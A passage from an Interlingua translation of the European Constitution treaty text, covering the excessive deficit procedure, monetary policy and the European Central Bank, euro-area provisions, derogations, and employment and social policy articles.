iste Stato membro a adoptar, intra un periodo determinate, mesuras pro le reduction del deficit que le Consilio considera necessari pro remediar al situation. In un tal caso, le Consilio pote exiger del Stato membro concernite le presentation de un reporto secundo un calendario precise, a fin de poter examinar le effortios de adjustamento realizate per iste Stato membro.\n10. Tanto longe que un Stato membro non compli un decision europeo adoptate in conformitate con le paragrapho 9, le Consilio pote decider applicar, aut secundo le caso, reinfortiar un aut plures del sequente mesuras:\na) exiger del Stato membro concernite que illo publica informationes additional, a precisar per le Consilio, ante de emitter obligationes et valores;\nb) invitar le Banca Europeo de Investimentos a reconsiderar su politica de prestationes al Stato membro concernite;\nConstitution\/ra 136\nc) exiger que le Stato membro concernite effectua presso la Union un deposito sin interesse de un amonta appropriate usque al momento que le Consilio considera que le deficit excessive ha essite corrigite;\nd) imponer mulctas de un amonta appropriate.\nLe Presidente del Consilio informa le Parlamento Europeo re le mesuras adoptate.\n11. Le Consilio abroga totes aut certes del mesuras mentionate in le paragraphos 6, 8, 9 et 10, quando illo considera que le deficit excessive del Stato membro concernite ha essite corrigite. Si anteriormente le Consilio ha facite public su recommendationes, illo declara publicamente, ab le momento del abrogation del decision europeo mentionate in le paragrapho 8, que le deficit excessive ha cessate de exister in iste Stato membro.\n12. Le derectos de recurso mentionate in le articulos III-360 et III-361 non pote esser exercite in le quadro del paragraphos 1 a 6, 8 et 9.\n13. In le protocollo re le procedura applicabile in le caso de un deficit excessive figura dispositiones complementari re le application del procedura stabilite in le presente articulo.\nUn lege europeo del Consilio stabili le mesuras appropriate in substitution del mentionate Protocollo. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo et del Banca Central Europeo.\nSin prejudicio del restante dispositiones del presente paragrapho, le Consilio adopta, per proposition del Commission, le regulamentos aut decisiones europeo que stabili le modalitates et le definitiones pro le application del mentionate Protocollo. Le Consilio decide post consultation del Parlamento Europeo.\nConstitution\/ra 137\nSECTION 2\nPOLITICA MONETARI\nARTICULO III-185\n1. Le objectivo principal del Systema Europeo de Bancas Central est mantener le stabilitate del precios. Sin prejudicio de iste objectivo le Systema Europeo de Bancas Central appoia le politicas economic general de la Union pro contribuer al realization del objectivos de la Union, definite in le articulo I-3. Le Systema Europeo de Bancas Central age in conformitate con le principio de un economia de mercato aperte et de libere concurrentia, favorante un efficiente allocation de ressources in accordo con le principios mentionate in le articulo III-177.\n2. Le functiones basic correspondente al Systema Europeo de Bancas Central es:\na) definir et executar le politica monetari de la Union;\nb) realizar le operationes de cambio in conformitate con le articulo III-326;\nc) tener in deposito et gerer le reservas official de cambio del Statos membros;\nd) promover le bon functionamento del systemas de pagamento.\n3. Le paragrapho 2(c) se applica sin prejudicio del possession et gestion de manovra in cambios per le governamentos del Statos membros.\nConstitution\/ra 138\n4. Le Banca Central Europeo est consultate:\na) re qualcunque acto de la Union proponite intra le dominio de su attributiones;\nb) per le autoritates national re qualcunque projecto de regulamentation que entra in le dominio de su attributiones, ma intra le limites de et secundo le conditiones fixate per le Consilio conformemente con le procedura mentionate in le articulo III-187(4).\nLe Banca Central Europeo pote presentar avisos al institutiones, organos aut organismos de la Union aut al autoritates national re materias que entra in le dominio de su attributiones.\n5. Le Systema Europeo de Bancas Central contribue al bon gestion del politicas que administra le autoritates competente con respecto al controlo prudential del stabilimentos de credito et al stabilitate del systema financiari.\n6. Un lege europeo del Consilio pote confider al Banca Central Europeo functiones specific concernente politicas relationate con le controlo prudential del stabilimentos de credito et altere stabilimentos financiari, con exception del interprisas de assecurantias. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo et del Banca Central Europeo.\nARTICULO III-186\n1. Le Banca Central Europeo est le sol banca autorisate a emitter billetes de banca in euros in la Union. Le Banca Central Europeo et le bancas central national pote emitter tal billetes. Le billetes de banca emittite per le Banca Central Europeo et le bancas central national est le unic billetes legal in la Union.\nConstitution\/ra 139\n2. Le Statos membros pote emitter moneta metallic in euros, post approbation del volumine de emission per le Banca Central Europeo. Le Consilio pote, per proposition del Commission, adoptar regulamentos europeo stabiliente mesuras pro harmonisar le valores nominal et le specificationes technic del monetas destinate al circulation, in le mesura in le qual illo est necessari pro su bon circulation in la Union. Le Consilio decide post consultation del Parlamento Europeo et del Banca Central Europeo.\nARTICULO III-187\n1. Le Systema Europeo de Bancas Central est dirigite per le organos de decision del Banca Central Europeo, que est le Consilio de Governatores et le Committato Executive.\n2. Le Statuto del Systema Europeo de Bancas Central figura in le Protocollo fixante le Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo.\n3. Le articulo 5(1, 2 et 3), le articulos 17 et 18, le articulo 19(1), le articulos 22, 23, 24 et 26, le articulo 32(2, 3, 4 et 6), le articulo 33(1)(a) et le articulo 36 del Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo pote esser modificate per le lege europeo:\na) sia per proposition del Commission et post consultation del Banca Central Europeo;\nb) sia per recommendation del Banca Central Europeo et post consultation del Commission.\nConstitution\/ra 140\n4. Le Consilio adopta le regulamentos et decisiones europeo stabiliente le mesuras mentionate in le articulo 4, le articulo 5(4), le articulo 19(2), le articulo 20, le articulo 28(1), le articulo 29(2), le articulo 30(4) et le articulo 34(3) del Statuto del Systema Europeo de Bancas Central et del Banca Commun Europeo. Le Consilio decide post consultation del Parlamento Europeo:\na) sia per proposition del Commission et post consultation del Banca Central Europeo;\nb) sia per recommendation del Banca Central Europeo et post consultation del Commission.\nARTICULO III-188\nIn le exercitio del poteres et in le complimento del functiones et obligationes que la Constitution et le Statutos del Systema Europeo de Bancas Central et del Banca Central Europeo los ha attribuite, ni le Banca Central Europeo ni un banca central national, ni qualcunque membro de lor organos de decision pote sollicitar aut acceptar instructiones del institutiones, organos aut organismos de la Union, ni del governamentos, ni de qualcunque altere organo del Statos membros. Le institutiones, organos aut organismos de la Union, assi como le governamentos del Statos membros, se ingagia a respectar iste principio et a non cercar a influentiar le membros del organos de decision del Banca Central Europeo et del bancas central national in le complimento de lor functiones.\nARTICULO III-189\nCata Stato membro velia le compatibilitate de su legislation national, includite le Statuto de su banca central national, con la Constitution et con le Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo.\nConstitution\/ra 141\nARTICULO III-190\n1. Pro le complimento del functiones que est confidite al Systema Europeo de Bancas Central, le Banca Central Europeo, in conformitate con la Constitution et secundo le conditiones mentionate in le Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo, adopta\na) regulamentos europeo in le mesura necessari pro le complimento del functiones definite in le articulo 3(1)(a), in le articulo 19(1), le articulo 22 et le articulo 25(2) del Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo, et in le casos mentionate in le regulamentos et decisiones europeo mentionate in le articulo III-187(4);\nb) le decisiones europeo necessari pro le complimento del missiones confidite al Systema Europeo de Bancas Central per la Constitution et per le Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo;\nc) recommendationes et avisos.\n2. Le Banca Central Europeo pote decider de publicar su decisiones europeo, recommendationes et avisos.\n3. Le Consilio adopta, in conformitate con le procedura mentionate in le articulo III-187(4), le regulamentos europeo fixante le limites et le conditiones secundo le quales le Banca Central Europeo est autorisate pro imponer mulctas coercitive al interprisas que non respecta su regulamentos et decisiones europeo.\nConstitution\/ra 142\nARTICULO III-191\nSin prejudicio del attributiones del Banca Central Europeo, le lege aut lege-quadro europeo stabili le mesuras necessari pro le utilisation del euro como moneta unic. Iste lege aut lege-quadro est adoptate post consultation del Banca Central Europeo.\nSECTION III\nDISPOSITIONES INSTITUTIONAL\nARTICULO III-192\n1. In vista de promover le coordination del politicas del Statos membros, in tote le mesura necessari pro le functionamento del mercato interior, on crea un Committato Economic et Financiari.\n2. Le Committato ha le sequente functiones:\na) emitter avisos, per petition del Consilio aut del Commission aut a proprie initiativa, destinate a iste institutiones;\nb) surveliar le situation economic et financiari del Statos membros et de la Union et informar de illo regularmente le Consilio et le Commission, in particular re le relationes financiari con tertie paises et con institutiones international;\nConstitution\/ra 143\nc) contribuer, sin prejudicio del articulo III-344, al preparation del labores del Consilio mentionate in le articulo III-159, le articulo III-179(2, 3, 4 et 6), le articulos III-180, III-182, III-183 et III-184, le articulo III-185(6), le articulo III-186(2), le articulo III-187(3 et 4), le articulos III-191, III-196, le articulo III-198, le articulo III-201, le articulo III-202(2 et 3), et le articulos III-322 et III-326, et executar altere missiones consultative et preparatori que lo confide le Consilio;\nd) examinar, al minus un vice per anno, le situation relative al movimento de capitales et al libertate de pagamentos, resultante del application de la Constitution et del actos de la Union. Iste examine comprende tote le mesuras relative al movimentos de capitales et al pagamentos. Le Committato informa le Commission et le Consilio re le resultato de iste examine.\nLe Statos membros, le Commission et le Banca Central Europeo nomina, cata un de illos, un maximo de duo membros del Committato.\n3. Le Consilio adopta, per proposition del Commission, un decision europeo fixante le proceduras relative al composition del Committato Economic et Financiari. Le Consilio decide post consultation del Banca Central Europeo et de iste Committato. Le Presidente del Consilio informa le Parlamento Europeo re un tal decision.\n4. Ultra le missiones exponite in le paragrapho 2, si et in le mesura que le Statos membros est le objecto de un derogation in le senso del articulo III-197, le Committato survelia le situation economic et financiari et le systema general de pagamentos de iste Statos membros et informa regularmente le Consilio et le Commission re iste thema.\nConstitution\/\nARTICULO III-193\nPro le questiones comprehendite in le campo de application del articulo III-179(4), del articulo III-184 con exception del paragrapho 13, del articulos III-191, III-196 et III-197, del articulo III-198(3) et del articulo III-326, le Consilio aut un Stato membro pote sollicitar al Commission de formular, secundo le caso, un recommendation aut un proposition. Le Commission examina le requesta et presenta sin demora su conclusiones al Consilio.\nSECTION 4\nDISPOSITIONES SPECIFIC PRO LE STATOS CUJE MONETA ES LE EURO\nARTICULO III-194\n1. Con le fin de contribuer al correcte functionamento de la Union economic et monetari et in conformitate con le dispositiones pertinente del Constitution, le Consilio adopta, conformemente con le procedura que corresponde con le proceduras mentionate in le articulos III-179 et III-184, con le exception del procedura mentionate in le articulo III-184(13), mesuras relative al Statos membros cuje moneta est le euro pro:\na) reinfortiar le coordination et surveliantia de lor disciplina budgetari;\nb) elaborar, pro lo que los concerne, le orientationes de politica economic referente a iste Statos, veliante lor compatibilitate con le orientationes adoptate pro le insimul de la Union, et garantir lor surveliantia.\nConstitution\/ra 145\n2. Unicamente participa in le votationes re le mesuras mentionate in le paragrapho 1 le membros del Consilio que representa Statos membros cuje moneta est le euro. Le majoritate qualificate se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si iste minoritate de blocada non est attingite, le majoritate qualificate est considerate como obtenite.\nARTICULO III-195\nLe modalitates del reuniones inter ministros del Statos membros cuje moneta est le euro est fixate per le Protocollo re le Eurogruppo.\nARTICULO III-196\n1. Pro garantir le position del euro in le systema monetari international, le Consilio adopta, per proposition del Commission, un decision europeo stabiliente le positiones commun re le questiones que ha un special interesse pro la Union economic et monetari in le sino del institutiones et conferentias financiari international competente. Le Consilio decide post consultation del Banca Central Europeo.\nConstitution\/ra 146\n2. Le Consilio pote, per proposition del Commission, adoptar le mesuras adequate pro assecurar un representation unificate in le sino del institutiones et conferentias international. Le Consilio decide post consultation del Banca Central Europeo.\n3. Unicamente participa in le votationes re le mesuras mentionate in le paragraphos 1 et 2 le membros del Consilio que representa le Statos membros cuje moneta est le euro.\nLe majoritate qualificate se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si isto non est attingite, le majoritate qualificate est considerate como obtenite.\nSECTION 5\nDISPOSITIONES TRANSITORI\nARTICULO III-197\n1. Le Statos membros re le quales le Consilio non ha decidite que illos compli le conditiones necessari pro le adoption del euro est denominate hic \"Statos membros faciente le objecto de un derogation\".\nConstitution\/ra 147\n2. Le sequente dispositiones de la Constitution non se applica al Statos membros faciente le objecto de un derogation:\na) adoption del partes del grande orientationes del politicas economic que concerne le zona euro de maniera general (articulo III-179(2));\nb) medios stricte pro remediar al deficits excessive (articulo III-184(9 et 10));\nc) objectivos et missiones del Systema Europeo de Bancas Central (articulo III-185(1, 2, 3, et 5));\nd) emission del euro (articulo III-186);\ne) actos del Banca Central Europeo (articulo III-190);\nf) mesuras relative al utilisation del euro (articulo III-191);\ng) accordos monetari et altere mesuras relative al politica de typos de cambio (articulo III-326);\nh) designation del membros del Committato executive del Banca Central Europeo (articulo III-382(2));\ni) decisiones europeo stabiliente le positiones commun re le questiones concernente special interesse pro la Union economic et monetari in le sino del institutiones et del conferentias international competente (articulo III-196(1));\nConstitution\/ra 148\nj) mesuras pro assecurar un representation unificate in le sino del institutiones et conferentias financiari international (articulo III-196(2)).\nConsequentemente, in le articulos citate in le litteras a) a j) on intende pro \"Statos membros\" le Statos membros cuje moneta est le euro.\n3. Le Statos membros faciente le objecto de un derogation, et lor bancas central national, est excludite del derectos et obligationes in le quadro del Systema Europeo de Bancas Central in conformitate con le Capitulo IX del Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo.\n4. Le derectos de voto del membros del Consilio representante le Statos membros faciente le objecto de un derogation est suspendite quando le Consilio adopta mesuras mentionate in le articulos mentionate in le paragrapho 2, assi como in le casos sequente:\na) recommendationes dirigite al Statos membros cuje moneta est le euro in le quadro del surveliantia multilateral, includite le recommendationes relative al programmas de stabilitate et le advertimentos (articulo III-179(4));\nb) mesuras relative al deficits excessive concernente le Statos membros cuje moneta est le euro (articulo III-184(6, 7, 8 et 11)).\nLe majoritate qualificate se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nConstitution\/ra 149\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participantes, plus un membro. Si isto non est attingite, le majoritate qualificate est considerate como obtenite.\nARTICULO III-198\n1. Un vice tote le duo annos al minus, aut per petition de qualcunque Stato membro faciente le objecto de un derogation, le Commission et le Banca Central Europeo face reporto al Consilio re le progressos realizate per le Statos membros faciente le objecto de un derogation in le complimento de lor obligationes del realization de la Union economic et monetari. Iste reportos examina, in particular, si le legislation national de cata un de iste Statos membros, includite le statuto de lor banca central national, est compatibile con le articulos III-188 et III-189, assi como con le Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo. Le reportos examina equalmente si on ha obtenite un alte grado de convergentia, analysante in qual mesura cata un de iste Statos membros ha complite le criterios sequente:\na) le realization de un alte grado de stabilitate del precios, lo que se manifesta in un taxa de inflation proxime a illo del tres Statos membros, al maximo, que presenta le melior resultatos de stabilitate del precios;\nb) le financias public debe esser in un situation sustenibile, lo que se manifesta in un situation budgetari sin un deficit public excessive, in le senso del articulo III-184(6);\nc) le respecto, durante al minus duo annos, del margines normal de fluctuation previste per le mechanismo de taxas de cambios del systema monetari europeo, sin devalutation de moneta con relation al euro;\nConstitution\/ra 150\nd) le character durabile del convergentia consequite per le Stato membro faciente le objecto de un derogation et de su participation in le mechanismo de taxas de cambio, que se reflecte in le nivellos del taxas de interesse a longe termino.\nLe quatro criterios mentionate in le presente paragrapho et le periodos pertinente durante le quales cata un de iste criterios debe esser respectate, est precisate in le Protocollo re le criterios de convergentia. Le reportos del Commission et del Banca Central Europeo debe prender in consideration equalmente le resultatos del integration del mercatos, le situation et le evolution del balancias de pagamentos currente et un examine del evolution del costos salarial unitari et de altere indices de precios.\n2. Post consultation del Parlamento Europeo et un discussion in le sino del Consilio Europeo, le Consilio adopta, per proposition del Commission, un decision europeo que determina qual Statos membros faciente le objecto de un derogation compli le conditiones necessari super le base del criterios mentionate in le paragrapho 1 et pone fin al derogationes del Statos membros concernite. Le Consilio prende decision post haber recipite un recommendation de un majoritate qualificate de su membros que representa le Statos membros cuje moneta est le euro. Iste Statos membros prende decision intra un termino de sex menses a partir del reception per le Consilio del proposition del Commission.\nLe majoritate qualificate mentionate in le paragrapho 2 se defini como al minus 55% de iste membros del Consilio que representa Statos membros que reuni al minus 65% del population del Statos membros participante.\nUn minoritate de blocada debe includer al minus le numero minime de iste Statos del Consilio que representa plus de 35% del population del Statos membros participante, plus un membro. Si iste minoritate de blocada non est attingite, le majoritate qualificate est considerate como obtenite.\nConstitution\/ra 151\n3. Si, conformemente con le procedura mentionate in le paragrapho 2, on decide poner fin a un derogation, le Consilio, per proposition del Commission, adopta regulamentos aut decisiones europeo fixante irrevocabilemente le taxa al qual le euro substitue le moneta del Stato membro concernite et stabiliente le altere mesuras necessari pro le introduction del euro como moneta unic in iste Stato membro. Le Consilio, per unanimitate del membros representante le Statos membros cuje moneta est le euro et le Stato membro concernite, decide post consultation del Banca Central Europeo.\nARTICULO III-199\n1. Durante que il existe Statos membros faciente le objecto de un derogation, et sin prejudicio del articulo III-187(1), le Consilio General del Banca Central Europeo mentionate in le articulo 45 del Statuto del Systema Europeo de Bancas Central et del Banca Central Europeo est constituite como tertie organo de decision del Banca Central Europeo.\n2. Durante que il existe Statos membros faciente le objecto de un derogation, le Banca Central Europeo, concernente iste Statos Membros:\na) reinfortia le cooperation inter le bancas central national;\nb) reinfortia le coordination del politicas monetari del Statos membros con le fin de garantir le stabilitate del precios;\nc) supervisa le functionamento del mechanismo de taxas de cambio;\nConstitution\/ra 152\nd) procede a consultationes re questiones que pertine al competentias del bancas central national et que affecta le stabilitate del stabilimentos et mercatos financiari;\ne) exerce le ancian functiones del Fundo Europeo de Cooperation Monetari, functiones que anteriormente le Instituto Monetari Europeo habeva assumite.\nARTICULO III-200\nCata Stato membro faciente le objecto de un derogation considera su politica de cambio como un problema de interesse commun. In iste connexion illo tene conto del experientias acquirite gratias al cooperation in le quadro del mechanismo de taxas de cambio.\nARTICULO III-201\n1. Si un Stato membro faciente le objecto de un derogation ha difficultates aut curre le risco de haber difficultates in le balancia de pagamentos, originate per un disequilibrio global de iste balancia aut per le typo del devisas del qual illo dispone et que pote compromitter in particular le functionamento del mercato interior aut le realization del politica commercial commun, le Commission procede sin demora a un examine del situation de iste Stato, assi como del action que iste Stato ha interprendite aut pote interprender in conformitate con le Constitution, faciente uso de tote le medios disponibile. Le Commission indica le mesuras cuje adoption illo recommenda al Stato membro interessate.\nConstitution\/ra 153\nSi le action interprendite per un Stato membro faciente le objecto de un derogation et le mesuras suggerite per le Commission se monstra insufficiente pro superar le difficultates aut menacias de difficultates, le Commission recommenda al Consilio, post consultation del Committato Economic et Financiari, le assistentia mutual et le methodos appropriate.\nLe Commission informa regularmente le Consilio re le situation et su evolution.\n2. Le Consilio adopta regulamentos aut decisiones europeo que accorda le assistentia mutual et fixa le conditiones et modalitates de iste assistentia mutual. Le assistentia mutual pote prender in particular le forma de:\na) un action concertate presso altere organizationes international al quales pote recurrer le Statos membros faciente le objecto de un derogation;\nb) mesuras necessari pro evitar deviationes del traffico commercial, quando le Stato membro faciente le objecto de un derogation, que est in difficultates, mantene aut restabili restrictiones quantitative concernente tertie paises;\nc) concession de creditos limitate del parte de altere Statos membros, si istes da lor consentimento.\n3. Si le Consilio non approba le assistentia mutual recommendate per le Commission aut si le assistentia mutual approbate et le mesuras adoptate est insufficiente, le Commission autorisa le Stato membro faciente le objecto de un derogation, que est in difficultate, a prender mesuras de salveguarda al conditiones et modalitates que le Commission determina.\nLe Consilio pote revocar iste autorisation et modificar iste conditiones et modalitates.\nConstitution\/ra 154\nARTICULO III-202\n1. In caso de crise subite in le balancia de pagamentos, et si on non adopta immediatemente un decision europeo, mentionate in le articulo III-201(2), un Stato membro faciente le objecto de un derogation pote, como precaution, prender le mesuras necessari de salveguarda. Iste mesuras debe causar le minimo de perturbationes in le functionamento del mercato interior et non exceder le portata strictemente indispensabile pro superar le difficultates subite que se ha manifestate.\n2. Le Commission et le altere Statos debe esser informate re le mesuras de salveguarda mentionate in le paragrapho 1, al plus tarde in le momento de lor entrata in vigor. Le Commission pote recommendar al Consilio le assistentia mutual in conformitate con le articulo III-201.\n3. Per recommendation del Commission et post consultation del Committato Economic et Financiari, le Consilio pote adoptar un decision europeo stabiliente que le Stato membro interessate debe modificar, suspender aut supprimer le mesuras de salveguarda mentionate in le paragrapho 1.\nConstitution\/ra 155\nCAPITULO III\nPOLITICAS IN ALTERE DOMINIOS\nSECTION 1\nEMPLEO\nARTICULO III-203\nLe Union et le Statos membros se effortia, in conformitate con le presente section, a disveloppar un strategia coordinate pro le empleo, et in particular a promover un mano de obra qualificate, formate et adaptate, assi como mercatos de labor capace de reager rapidemente al evolution del economia, in vista de attinger le objectivos mentionate in le articulo I-3,\nARTICULO III-204\n1. Le Statos membros contribue, per lor politicas de empleo, al realization del objectivos mentionate in le articulo III-203, de un maniera compatibile con le grande orientationes del politicas economic del Statos membros et de la Union, adoptate in application del articulo III-179(2).\n2. Tenente conto del practicas national relative al responsabilitates del partners social, le Statos membros considera le promotion del empleo como un question de interesse commun et coordina lor action relative a isto in le sino del Consilio, conformemente con le articulo III-206.\nConstitution\/ra 156\nARTICULO III-205\n1. la Union contribue al realization de un nivello elevate de empleo per incoragiar le cooperation inter le Statos membros et per appoiar e, si necessari, completar lor action. Faciente isto, illo respecta plenmente le competentias del Statos membros.\n2. Le objectivo consistente de attinger un nivello de empleo elevate debe esser tenite in conto in le definition et le execution del politicas et actiones de la Union.\nARTICULO III-206\n1. Le Consilio Europeo examina cata anno le situation del empleo in la Union et adopta conclusiones relative a illos, super le base de un reporto annual elaborate conjunctemente per le Consilio et le Commission.\n2. Super le base del conclusiones del Consilio Europeo, le Consilio adopta cata anno, per proposition del Commission, orientationes del quales le Statos membros tene conto in lor respective politicas del empleo. Le Consilio decide post consultation del Parlamento Europeo, del Committato del Regiones, del Committato Economic et Social et del Committato del Empleo.\nIste orientationes est compatibile con le grande orientationes adoptate in application del articulo III-179(2).\n3. Cata Stato membro transmitte al Consilio et al Commission un reporto annual re le principal mesuras que illo ha prendite pro applicar su politica del empleo, al luce del orientationes pro le empleo mentionate in le paragrapho 2.\nConstitution\/ra 157\n4. Le Consilio, basante se super le reportos mentionate in le paragrapho 3 et post haber obtenite le aviso del Committato del Empleo, examina cata anno le application del politicas del empleo del Statos membros, al luce del orientationes pro le empleo. Le Consilio, per recommendation del Commission, pote adoptar recommendationes dirigite al Statos membros.\n5. Super le base del resultatos de iste examine, le Consilio et le Commission dirige un reporto annual commun al Consilio Europeo concernente le situation del empleo in la Union et del application del orientationes pro le empleo.\nARTICULO III-207\nLe lege aut lege-quadro europeo pote stabilir mesuras de incoragiamento destinate a favorar le cooperation inter le Statos membros et a appoiar lor action in le dominio del empleo, per le initiativas visante a disveloppar le intercambio de informationes et de melior practicas per fornir analyses comparative et consilios, assi como per promover approches renovatori et evalutar experientias, in particular per projectos pilotas. Le lege aut lege-quadro est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nLe lege aut lege-quadro europeo non include alcun harmonisation del dispositiones legislative et regulamentari del Statos membros.\nARTICULO III-208\nLe Consilio adopta, per majoritate simple, un decision europeo instituente un Committato del Empleo de character consultative pro promover le coordination, inter le Statos membros, del politicas in materia del empleo et del mercato de labor. Le Committato decide post consultation del Parlamento Europeo.\nConstitution\/ra 158\nLe Committato ha le sequente functiones:\na) sequer le evolution del situation del empleo et del politicas del empleo de la Union et in le Statos membros;\nb) sin prejudicio del articulo III-344, formular avisos per petition del Consilio aut del Commission aut per proprie initiativa et contribuer al preparation del deliberationes del Consilio mentionate in le articulo III-206.\nPro le complimento de su mandato, le Committato consulta le partners social.\nCata Stato membro et le Commission nomina duo membros del Committato.\nSECTION 2\nPOLITICA SOCIAL\nARTICULO III-209\nLe Union et le Statos membros, consciente del derectos social fundamental, como le derectos mentionate in le Charta Social Europeo, signate in Torino le 18 de octobre 1961, et in le Charta communitari del derectos social fundamental del laboratores de 1989, ha como objectivos le promotion del empleo, le melioration del conditiones de vita et de labor pro facer possibile lor equalisation in le progresso, un protection social adequate, le dialogo social, le disveloppamento del ressources human pro consequer un nivello de empleo elevate et durabile, et le lucta contra le exclusiones.\nConstitution\/ra 159\nCon iste fin la Union et le Statos membros age tenente conto del diversitate del practicas national, in particular in le dominio del relationes contractual, assi como del necessitate de mantener le competitivitate del economia de la Union.\nLe Union et le Statos membros considera que un tal evolution est le consequentia tanto del functionamento del mercato interior, que favora le harmonisation del systemas social, como del proceduras stabilite in la Constitution et del approximation del dispositiones legislative, regulamentari et administrative del Statos membros.\nARTICULO III-210\n1. Pro obtener le objectivos mentionate in le articulo III-209, la Union appoia et completa le action del Statos membros in le sequente dominios:\na) le melioration, in particular, del ambiente de labor pro proteger le sanitate et le securitate del laboratores;\nb) le conditiones de labor;\nc) le securitate social et le protection social del laboratores;\nd) le protection del laboratores in caso de rescission del contracto de labor;\ne) le information et le consultation del laboratores;\nf) le representation et le defensa collective del interesses del laboratores et del empleatores, includite le cogestion, sub reserva del paragrapho 6;\nConstitution\/ra 160\ng) le conditiones de empleo del citatanos de tertie paises qui reside legalmente in le territorio de la Union;\nh) le integration del personas excludite del mercato de labor, sin prejudicio del articulo III-283;\ni) le equalitate inter feminas et viros concernente lor chances in le mercato del labor et le tractamento in le labor;\nj) le lucta contra le exclusion social;\nk) le modernisation del systemas de protection social, sin prejudicio del littera c).\n2. Pro le fines del paragrapho 1:\na) le lege aut le lege-quadro europeo pote stabilir mesuras destinate a incoragiar le cooperation inter le Statos membros per initiativas pro meliorar le cognoscentias, pro disveloppar le intercambio de informationes et melior practicas, pro promover approches innovatori et pro evalutar experientias, con le exclusion de tote harmonisation del dispositiones legislative et regulamentari del Statos membros;\nb) in le dominios mentionate in le paragrapho 1(a et i), le lege-quadro europeo pote stabilir prescriptiones minimal applicabile progressivemente, tenente conto del conditiones et del regulamentationes technic existente in cata un del Statos membros. Illo evita imponer constrictiones de character administrative, financiari et juridic que obstrue le creation et le disveloppamento de parve et medie interprisas.\nIn tote le casos, le lege aut lege-quadro europeo est adoptate post consultation del Committato del Regiones et del Committato Economic et Social.\nConstitution\/ra 161\n3. Nonobstante lo que est disponite in le paragrapho 2, in le dominios mentionate in le paragrapho 1(c, d, f et g), le Consilio adopta le lege aut lege-quadro europeo per unanimitate post consultation del Parlamento Europeo, del Committato del Regiones et del Committato Economic et Social.\nLe Consilio pote, per proposition del Commission, adoptar un decision europeo pro render le procedura legislative ordinari applicabile al paragrapho 1(d, f et g). Le Consilio decide per unanimitate post consultation del Parlamento Europeo.\n4. Un Stato membro pote confider al partners social, per lor petition conjuncte, le application del leges-quadro europeo adoptate in application del paragraphos 2 et 3 o, in su caso, le application del regulamentos aut decisiones europeo adoptate in conformitate con le articulo III-212.\nIn iste caso, le Consilio se assecura que, le plus tarde al data al qual un lege-quadro europeo debe esser transponite, et al data al qual un regulamento europeo aut un decision europeo debe esser applicate, le partners social ha stabilite, per un accordo, le dispositiones necessari; le Stato membro concernite debe prender tote le dispositiones necessari pro poter garantir, in tote momento, le resultatos imponite per iste lege-quadro, regulamento aut decision.\n5. Le leges et leges-quadro europeo adoptate in virtute del presente articulo:\na) non affecta le facultate recognoscite al Statos membros pro definir le principios fundamental de lor systema de securitate social, et non debe affectar de maniera significative le equilibrio financiari del systema de securitate social;\nb) non pote impedir un Stato membro de mantener aut prender mesuras plus stricte de protection compatibile con le Constitution.\nConstitution\/ra 162\n6. Le presente articulo non se applica ni al remunerationes, ni al derecto de association, ni al derecto de exopero, ni al derecto de lock-out.\nARTICULO III-211\n1. Le Commission promove le consultation del partners social al nivello de la Union et adopta qualcunque mesura opportun pro facilitar lor dialogo veliante un appoio equilibrate del partes.\n2. Pro le fin del paragrapho 1, le Commission, ante de presentar propositiones in le dominio del politica social, consulta le partners social re le possibile orientation de un action de la Union.\n3. Si le Commission, post le consultation mentionate in le paragrapho 2, considera conveniente un action de la Union, illo consulta le partners social re le contento del proposition considerate.\n4. Al occasion del consultationes mentionate in le paragraphos 2 et 3, le partners social pote communicar al Commission lor voluntate de initiar le processo mentionate in le articulo III-212(1). Le duration de iste processo non pote exceder le duration de novem menses, salvo si le partners social concernite decide prolongar lo in accordo commun con le Commission.\nARTICULO III-212\n1. Le dialogo inter partners social, al nivello de la Union, pote, si le partners lo desira, conducer al stabilimento de relationes contractual, includite accordos.\nConstitution\/ra 163\n2. Le application del accordos concludite, al nivello de la Union, se realiza, sia secundo le proceduras et practicas proprie al partners social et al Statos membros, sia in le dominios del articulo III-210, per petition conjuncte del partes signatarios, per regulamentos aut decisiones europeo adoptate per le Consilio per proposition del Commission. Le Parlamento Europeo est informate.\nQuando le accordo in question contine un aut plure dispositiones relative a un del dominios pro le quales le unanimitate est requirite in virtute del articulo III-210(3), le Consilio decide per unanimitate.\nARTICULO III-213\nPro realizar le objectivos mentionate in le articulo III-209, et sin prejudicio del altere dispositiones del Constitution, le Commission incoragia le cooperation inter le Statos membros et facilita le coordination de lor actiones in tote le dominios del politica social tractate in le presente Section, particularmente in le materias relative a:\na) le empleo;\nb) le derecto del labor et le conditiones de labor;\nc) le formation et le perfectionamento professional;\nd) le securitate social;\ne) le protection contra le accidentes de labor et le maladia professional;\nf) le hygiene del labor;\ng) le derecto syndical et le negotiationes collective inter empleatores et laboratores.\nConstitution\/ra 164\nCon iste fin le Commission age in stricte contacto con le Statos membros, per studios, per avisos et per le organization de consultationes, tanto re le problemas que se pone al nivello national como re illos que interessa le organizationes international, in particular per initiativas in vista de stabilir orientationes et indicatores, de organizar le intercambio del melior practicas et de preparar le elementos necessari pro le controlo et le evalutation periodic. Le Parlamento Europeo est plenmente informate.\nAnte de emitter le avisos mentionate in le presente articulo, le Commission consulta le Committato Economic et Social.\nARTICULO III-214\n1. Cata Stato membro garanti le application del principio de equalitate del remunerationes inter laboratores feminin et masculin pro le mesme labor aut pro un labor de mesme valor.\n2. Pro le fines del presente articulo on intende per \"remuneration\" le salario normal de base aut minime, et qualcunque altere 